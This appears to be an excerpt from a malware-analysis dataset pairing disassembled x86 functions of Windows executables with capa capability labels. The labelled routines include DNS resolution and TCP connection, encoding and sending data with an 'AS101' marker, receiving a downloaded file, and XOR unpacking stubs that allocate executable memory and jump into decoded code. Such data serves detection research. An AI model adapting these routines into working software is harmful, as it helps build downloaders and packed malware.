joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004046b0
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x404528
mov eax, dword [ebp - 0x41c]
jmp 0x404698
xor edx, edx
mov word [ebp - 0x418], dx
push 0x206
push 0
lea eax, [ebp - 0x416]
push eax
call fcn.00411d40
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00411d40
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x404593
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x4045f8
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
movzx eax, word [edx + 0x433ca0]
test eax, eax
jne 0x4045b5
jmp 0x404584
lea ecx, [ebp - 0x418]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0040fccf
add esp, 0xc
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
add eax, 0x433ca0
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040fd3e
add esp, 0xc
jmp 0x404584
mov dword [ebp - 0x424], 0
jmp 0x404613
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 5
jge 0x40465d
mov eax, dword [ebp - 0x424]
imul eax, eax, 0x118
movzx ecx, word [eax + 0x433ca0]
test ecx, ecx
jne 0x404635
jmp 0x404604
push 1
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x424]
imul ecx, ecx, 0x118
add ecx, 0x433ca0
push ecx
call fcn.00405310
add esp, 0x10
jmp 0x404604
push 0x434a70
push 0x104
lea edx, [ebp - 0x418]
push edx
call fcn.0040fd3e
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x404692
mov dword [ebp - 0x41c], 2
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret
Function at 0x404940
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c0
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 8], eax
xor eax, eax
mov word [ebp - 0x9c0], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x9be]
push ecx
call fcn.00411d40
add esp, 0xc
lea edx, [ebp - 0x9c0]
mov dword [ebp - 0x19c], edx
cmp dword [ebp + 0x14], 0
je 0x40498d
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x19c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x19c]
mov word [edx], cx
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0
lea eax, [ebp - 0x198]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4049d8
xor eax, eax
jmp 0x404ac9
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0xffffffff
jne 0x4049f8
xor eax, eax
jmp 0x404ac9
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404a38
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1bc], eax
push 2
push 4
lea edx, [ebp - 0x1bc]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404a45
jmp 0x404a9d
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1a8], eax
mov ecx, 2
mov word [ebp - 0x1ac], cx
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1aa], ax
push 0x10
lea eax, [ebp - 0x1ac]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x404a93
jmp 0x404a9d
mov dword [ebp - 0x1b8], 1
cmp dword [ebp - 0x1b8], 0
jne 0x404ac3
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
je 0x404ac3
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret
Function at 0x404d00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x404d34
jmp 0x404df0
mov dword [ebp - 0x18], 0
jmp 0x404d46
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp + 0x10]
jge 0x404d63
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x404d3d
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.00405860
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov edx, dword [str.AS101]
mov dword [ecx], edx
mov al, byte [0x430f98]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
add eax, 7
push eax
call fcn.00417810
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404de5
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
je 0x404de9
jmp 0x404df0
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x404e08
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.0040588f
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x4056b0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.004141f0
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1014], 0
push 0x42ae6c
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00410021
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x4056fa
xor eax, eax
jmp 0x405791
push 0
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x405717
xor eax, eax
jmp 0x405791
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x405771
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405747
jmp 0x405771
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x1010]
push edx
call fcn.00410586
add esp, 0x10
mov eax, dword [ebp - 0x1014]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1014], eax
jmp 0x405717
mov ecx, dword [ebp - 8]
push ecx
call fcn.004103a8
add esp, 4
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x40578c
xor eax, eax
jmp 0x405791
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret

Function at 0x40fcc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fc20]
jne 0x40fcca
repz ret
jmp fcn.0041421b
Function at 0x41f5a2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041869f
and dword [ebp - 4], 0
cmp dword [0x433a9c], 0
mov ebx, eax
jne 0x41f653
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41f704
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41f704
push eax
call fcn.0041862d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x433a9c], eax
call esi
push eax
call fcn.0041862d
mov dword [esp], 0x427dac
push edi
mov dword [0x433aa0], eax
call esi
push eax
call fcn.0041862d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x433aa4], eax
call esi
push eax
call fcn.0041862d
pop ecx
mov dword [0x433aac], eax
test eax, eax
je 0x41f653
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041862d
pop ecx
mov dword [0x433aa8], eax
mov eax, dword [0x433aa8]
cmp eax, ebx
je 0x41f6ab
cmp dword [0x433aac], ebx
je 0x41f6ab
push eax
call fcn.004186a8
push dword [0x433aac]
mov esi, eax
call fcn.004186a8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41f6ab
test edi, edi
je 0x41f6ab
call esi
test eax, eax
je 0x41f6a2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41f6a2
test byte [ebp - 0xc], 1
jne 0x41f6ab
or dword [ebp + 0x10], 0x200000
jmp 0x41f6e4
mov eax, dword [0x433aa0]
cmp eax, ebx
je 0x41f6e4
push eax
call fcn.004186a8
pop ecx
test eax, eax
je 0x41f6e4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41f6e4
mov eax, dword [0x433aa4]
cmp eax, ebx
je 0x41f6e4
push eax
call fcn.004186a8
pop ecx
test eax, eax
je 0x41f6e4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x433a9c]
call fcn.004186a8
pop ecx
test eax, eax
je 0x41f704
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41f706
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00405630
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00405630
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00405630
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00405630
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00405630
mov dword [0x41203c], eax
call fcn.00405630
test eax, eax
jge 0x402550
push 8
call fcn.00405630
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00405630
pop ecx
push 1
call fcn.00405630
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00405630
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00405630
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00405630
jmp 0x402495

Function at 0x405630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40563f
pop dword [ebp - 0x48]
mov eax, 0xa357652e
sub eax, 0xa3170eef
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3be32
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x52b9
xor edi, edi
add edi, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x48]
mov edx, 0xac833c4f
add edx, 0x43dc8e70
xor dword [ebp - 8], ecx
mov esi, dword [ebx]
add dword [ebp - 0x34], 0xf42d2e91
sub esi, edx
mov dword [edi], esi
xor dword [ebp - 0xc], eax
add edi, 0xeac6fc98
sub edi, 0xeac6fc94
add ebx, 0x7dca8117
add ebx, 0x82357eed
loop 0x40568f
add eax, 0x13db7
xor ebx, ebx
add ebx, eax
add eax, 0xa0dd20c4
add eax, 0x5f22df41
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40cb40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40cb4f
pop dword [ebp - 0x24]
mov eax, 0xb7edbe50
sub eax, 0xb7acf301
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3869d
push 0
mov eax, 0xe5f636c5
add eax, 0x1a4aaa5b
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x57403bd
sub ecx, 0x573bf6b
xor edi, edi
add edi, eax
mov edx, 0x417800
add edx, dword [ebp - 0x24]
mov esi, 0x4c6c3814
sub esi, 0x1d643849
sub dword [ebp - 0x1c], edx
mov ebx, dword [edx]
xor dword [ebp - 0x10], 0xb18a6e03
add ebx, esi
xor dword [ebp - 4], 0x3a686015
mov dword [edi], ebx
mov dword [ebp - 4], 0xcd33d238
add edi, 0x8f64c32a
add edi, 0x709b3cda
add edx, 4
loop 0x40cbaa
add eax, 0x1041b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x404330
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov dword [ebp - 0x18], edx
mov esi, dword [ebp + 8]
mov edi, ecx
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], edi
movzx eax, byte [esi]
movzx edx, byte [esi + 1]
xor eax, 0x811c9dc5
imul eax, eax, 0x1000193
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 2]
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 3]
xor edx, eax
imul eax, edx, 0x1000193
mov edx, dword [ecx + 0xc]
and eax, dword [ecx + 0x18]
mov ecx, edx
mov ebx, dword [edx + eax*8]
lea eax, [eax + eax + 1]
mov edx, dword [edi + 4]
mov dword [ebp - 0x24], eax
lea eax, [edi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x1c], eax
mov esi, ebx
cmp ebx, edx
mov eax, ebx
je 0x4043ad
mov eax, dword [ebp - 0x24]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax]
cmp eax, esi
je 0x4043cb
cmp dword [esi + 8], edi
je 0x4043ba
mov esi, dword [esi]
jmp 0x40439f
cmp esi, edx
je 0x4043cb
mov eax, dword [ebp - 0x18]
mov dword [eax], esi
mov esi, eax
mov byte [eax + 4], 0
jmp 0x4043fb
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [edx]
push eax
call fcn.00404550
add esp, 4
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
mov eax, dword [ecx + 4]
mov edx, esi
mov eax, dword [eax]
push eax
add eax, 8
push eax
call fcn.00404410
add esp, 8
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404410
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [ebp + 8]
mov dword [ebp - 0x18], edx
mov ebx, dword [ecx + 0xc]
mov edi, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
movzx eax, byte [esi]
movzx edx, byte [esi + 1]
xor eax, 0x811c9dc5
imul eax, eax, 0x1000193
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 2]
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 3]
mov esi, edi
xor edx, eax
imul eax, edx, 0x1000193
and eax, dword [ecx + 0x18]
mov edx, dword [ebx + eax*8]
add eax, eax
cmp edx, edi
je 0x404477
lea esi, [eax*4]
or esi, 4
mov esi, dword [ebx + esi]
mov esi, dword [esi]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebx]
cmp edx, esi
je 0x4044af
mov esi, dword [esi + 4]
cmp ebx, dword [esi + 8]
jne 0x404482
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
mov dword [edx], eax
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
dec dword [edx + 8]
call fcn.00403cb0
mov edi, dword [ebp - 0x18]
xor eax, eax
jmp 0x404514
mov esi, dword [ecx]
cmp esi, edx
je 0x4044e6
mov ebx, ecx
mov ecx, dword [ecx + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edx
mov ecx, dword [edx + 4]
mov dword [ecx], ebx
mov edi, dword [esi + 4]
mov ecx, dword [edx + 4]
mov dword [edx + 4], edi
mov edi, dword [ebx + 4]
mov dword [esi + 4], edi
mov dword [ebx + 4], ecx
mov ecx, dword [ebp - 0x10]
mov edi, dword [ecx + 4]
mov ecx, dword [ecx + 0xc]
mov dword [ebp - 0x14], ecx
mov ecx, ebx
mov esi, dword [ebp - 0x14]
lea esi, [esi + eax*4]
mov ebx, dword [esi]
cmp ebx, edi
jne 0x404523
mov edx, ecx
mov dword [esi], ecx
mov ecx, dword [ebp - 0x10]
shl eax, 2
mov edi, dword [ebp - 0x18]
or eax, 4
mov ebx, edx
add eax, dword [ecx + 0xc]
mov esi, eax
mov dword [esi], edx
call fcn.004048d0
mov al, 1
mov esi, ebx
mov dword [edi], esi
mov byte [edi + 4], al
mov eax, edi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
cmp ebx, edx
mov ebx, ecx
mov edx, ecx
mov edi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
je 0x404509
mov esi, dword [ebp - 0x14]
or eax, 1
mov edx, dword [esi + eax*4]
mov edx, dword [edx]
cmp edx, ebx
mov dword [esi + eax*4], edx
je 0x40450b
mov edx, dword [ecx + 0xc]
lea esi, [edx + eax*4]
mov eax, dword [esi]
mov edx, dword [eax + 4]
jmp 0x404509
Function at 0x404a20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, dword [ebp + 8]
mov eax, edx
mov dword [ebp - 0x10], ecx
mov ebx, dword [esi + 0x10]
cmp dword [esi + 0x14], 7
jbe 0x404a3c
mov esi, dword [esi]
test ebx, 0x7fffffff
mov dword [ebp - 0x18], eax
je 0x404a62
lea ecx, [ebx + ebx]
mov eax, 0x811c9dc5
mov edx, esi
movzx edi, byte [esi]
inc esi
xor edi, eax
imul eax, edi, 0x1000193
dec ecx
jne 0x404a51
jmp 0x404a69
mov edx, esi
mov eax, 0x811c9dc5
mov ecx, dword [ebp - 0x10]
and eax, dword [ecx + 0x18]
mov esi, dword [ecx + 0xc]
mov edi, dword [ecx + 4]
mov ecx, dword [esi + eax*8]
add eax, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], ecx
cmp ecx, edi
mov ecx, edi
je 0x404a95
lea ecx, [eax*4]
or ecx, 4
mov ecx, dword [esi + ecx]
mov ecx, dword [ecx]
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x14], ecx
je 0x404b19
mov ecx, dword [ecx + 4]
cmp ebx, dword [ecx + 0x18]
mov dword [ebp - 0x1c], ecx
jne 0x404ad0
test ebx, ebx
je 0x404ad5
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx + 0x1c], 7
jbe 0x404aba
mov ecx, dword [ecx + 8]
jmp 0x404abd
add ecx, 8
xor esi, esi
movzx edi, word [edx + esi*2]
cmp di, word [ecx + esi*2]
jne 0x404ad0
inc esi
cmp ebx, esi
jne 0x404abf
jmp 0x404ad5
mov ecx, dword [ebp - 0x1c]
jmp 0x404a98
mov eax, dword [ebp + 0xc]
mov esi, eax
mov eax, dword [eax]
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x10]
dec dword [ecx + 8]
lea ecx, [esi + 8]
call fcn.00401b50
push 0x24
push esi
call sub.mozglue.dll_void___cdecl_operator_delete_void___unsigned_int_
add esp, 8
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
xor eax, eax
mov dword [esi], edi
mov byte [esi + 4], al
mov eax, esi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x20]
mov ecx, dword [edi]
cmp ecx, dword [ebp - 0x14]
je 0x404b56
mov edx, dword [edi + 4]
mov ebx, dword [ebp - 0x14]
mov dword [edx], ecx
mov edx, dword [ecx + 4]
mov dword [edx], ebx
mov edx, dword [ebx + 4]
mov dword [edx], edi
mov esi, dword [ecx + 4]
mov edx, dword [ebx + 4]
mov dword [ebx + 4], esi
mov esi, dword [edi + 4]
mov dword [ecx + 4], esi
mov dword [edi + 4], edx
mov edx, dword [ebp - 0x10]
mov ebx, dword [edx + 4]
mov esi, dword [edx + 0xc]
lea edx, [esi + eax*4]
mov ecx, dword [edx]
cmp ecx, ebx
jne 0x404b82
mov ecx, dword [ebp - 0x10]
shl eax, 2
mov dword [edx], edi
mov esi, dword [ebp - 0x18]
or eax, 4
add eax, dword [ecx + 0xc]
mov ecx, edi
mov edx, eax
mov dword [edx], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00404c40
mov al, 1
jmp 0x404b0a
mov ebx, esi
cmp ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
mov ecx, edi
je 0x404b74
or eax, 1
mov ecx, dword [ebx + eax*4]
mov ecx, dword [ecx]
mov dword [ebx + eax*4], ecx
cmp ecx, edi
mov ecx, dword [ebp - 0x10]
je 0x404b79
mov ecx, dword [ecx + 0xc]
lea edx, [ecx + eax*4]
mov eax, dword [edx]
mov ecx, dword [eax + 4]
jmp 0x404b74